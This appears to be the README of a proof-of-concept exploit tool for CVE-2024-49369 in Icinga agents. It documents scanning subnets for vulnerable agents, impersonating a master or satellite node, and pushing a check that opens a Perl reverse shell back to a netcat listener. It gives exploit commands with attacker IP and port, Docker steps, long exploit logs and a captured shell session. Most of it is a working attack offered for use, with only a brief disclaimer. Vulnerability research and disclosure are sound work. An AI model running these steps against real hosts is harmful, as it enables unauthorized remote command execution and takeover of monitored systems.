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CVE-2024-49369

Overview

This vulnerability leverages the Icinga JSON-RPC protocol to exploit monitored nodes running Icinga agents. By impersonating a Master/Satellite instance, attackers can potentially take over agents, execute arbitrary commands, or gain sensitive information.

How to Use

Scanning

To scan a subnet for vulnerable agents, run the following command:

python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25

This scans the specified subnet in batches of 25 IPs. The tool sends an Icinga::HELLO message over the JSON-RPC protocol and identifies responding agents along with their versions.

Exploiting

If configuration and command execution is enabled on an endpoint (the default setting for monitored nodes with Icinga agents), an attacker can:

  1. Impersonate a Master/Satellite instance.
  2. Update the endpoint configuration.
  3. Execute arbitrary commands on the endpoint.

This can lead to full system compromise (depending on the service user) or limited access.

Prerequisites

  • Network disruptions or a restart of the target: The Icinga agent automatically rejects new connections from the same Master/Satellite instance until the existing connection is severed.

When the parent node is still connected, the exploit connections will look like this in the log:

[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.

We can see this node is vulnerable to the attack as the warning for clusters is triggering, meaning that the current satellite is still connected, but this agent sees us as a valid parent.

Steps

  1. Start a Netcat listener for the reverse shell:

    nc -lvnp 9001

  2. Launch the exploit:

    python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
    • --host: Target agent's IP address.
    • --node-cn: Common name of the Master/Satellite to impersonate.
    • --zone: Targeted zone name. Default is master.
    • --revip: Attacker's IP address for reverse shell.
    • --revport: Attacker's port for reverse shell.

This command initiates repeated connection attempts. Once the target agent disconnects from its current parent, the tool takes over, sending and receiving checks.

Example Payload

A Perl-based reverse shell is used as part of a new check created by the tool.

Information Leakage

Even if configuration and command execution are disabled on the target, attackers may still glean sensitive data by observing the results of checks sent to the agent.

Example Response Data

{
  "jsonrpc": "2.0",
  "method": "config::UpdateObject",
  "params": {
    "config": "object Downtime ...",
    "name": "icinga-agent!load!9856e6b2...",
    "type": "Downtime",
    "version": 1733899523.67197
  }
}
{
  "jsonrpc": "2.0",
  "method": "event::SetLastCheckStarted",
  "params": {
    "host": "icinga-agent",
    "last_check_started": 1733899492.313578,
    "service": "icinga"
  },
  "ts": 1733899492.313714
}

These responses may reveal sensitive configurations, scheduling data, or even the results of monitored services.

Impact

On Censys there are currently 24,003 hosts with a publicly facing Icinga port. Spot checks indicate that most hosts are still running a vulnerable version of Icinga.

Credits

This research builds on the work discussed in Icinga's blog.

Notes

  • Always use this tool responsibly and within the scope of authorized security testing.
  • Vulnerability exploitation may have serious consequences. Verify legal permissions before usage.

Docker

Build

docker build -f Dockerfile -t icinga-exploit .

Run Exploit

docker run -it icinga-exploit exploit --host my_icinga_agent_with_satellite --revip 192.168.0.1 --revport 9001 --node-cn my_satellite --zone master
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INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:[('SSL routines', '', 'shutdown while in init')]
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925296.124675, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925296.124675}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(-1, 'Unexpected EOF')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925305.051298, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925305.051298}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925313.881199, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925313.881199}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::SetLastCheckStarted', 'params': {'host': 'localhost', 'last_check_started': 1733925340.30785, 'service': 'icinga_exploit'}, 'ts': 1733925340.307906}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}

At this point the reverse shell is active:

nc -lvnp 9001                                                                                                                                                            
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.225.12.77.
Ncat: Connection from 10.225.12.77:40404.
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
icinga
sh-4.4$

Local Icinga master for testing

# run the vulnerable master node
docker run --rm --hostname icinga_master --name icinga_master -p 5665:5665 -e ICINGA_MASTER=1 -e ICINGA_ACCEPT_CONFIG=1 -e ICINGA_ACCEPT_COMMANDS=1 icinga/icinga2:2.14.2

# exploit it
python3 main.py exploit --host 127.0.0.1 --node-cn icinga_master --zone master --revip <IP> --revport <PORT>

Local Icinga agent for testing

Create a random new CA and certificate

mkdir /tmp/icinga_poc_certs

cd /tmp/icinga_poc_certs/
openssl genrsa -out /tmp/icinga_poc_certs/icinga-agent.key 2048
openssl req -new -key /tmp/icinga_poc_certs/icinga-agent.key -out /tmp/icinga_poc_certs/icinga-agent.csr \
    -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-agent"
openssl genrsa -out /tmp/icinga_poc_certs/icinga-ca.key 2048
openssl req -x509 -new -nodes -key /tmp/icinga_poc_certs/icinga-ca.key -sha256 -days 3650 \
    -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-ca" \
    -out /tmp/icinga_poc_certs/icinga-ca.crt
openssl x509 -req -in icinga-agent.csr -CA /tmp/icinga_poc_certs/icinga-ca.crt -CAkey /tmp/icinga_poc_certs/icinga-ca.key -CAcreateserial -out /tmp/icinga_poc_certs/icinga-agent.crt -days 3650 -sha256
mkdir -p icinga-agent/var/lib/icinga2/certs/
cp /tmp/icinga_poc_certs/icinga-agent.crt icinga-agent/var/lib/icinga2/certs/icinga-agent.crt
cp /tmp/icinga_poc_certs/icinga-ca.crt icinga-agent/var/lib/icinga2/certs/ca.crt

docker run --rm \
    -p 5665:5665 \
	-h icinga-agent \
	-v ./icinga-agent:/data:z \
	-e ICINGA_ZONE=icinga-agent \
	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
    -e ICINGA_ACCEPT_CONFIG=1 \
	icinga/icinga2:2.14.2  icinga2 feature enable debuglog

docker run --rm \
    -p 5665:5665 \
	-h icinga-agent \
	-v ./icinga-agent:/data:z \
	-e ICINGA_ZONE=icinga-agent \
	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
    -e ICINGA_ACCEPT_CONFIG=1 \
	icinga/icinga2:2.14.2

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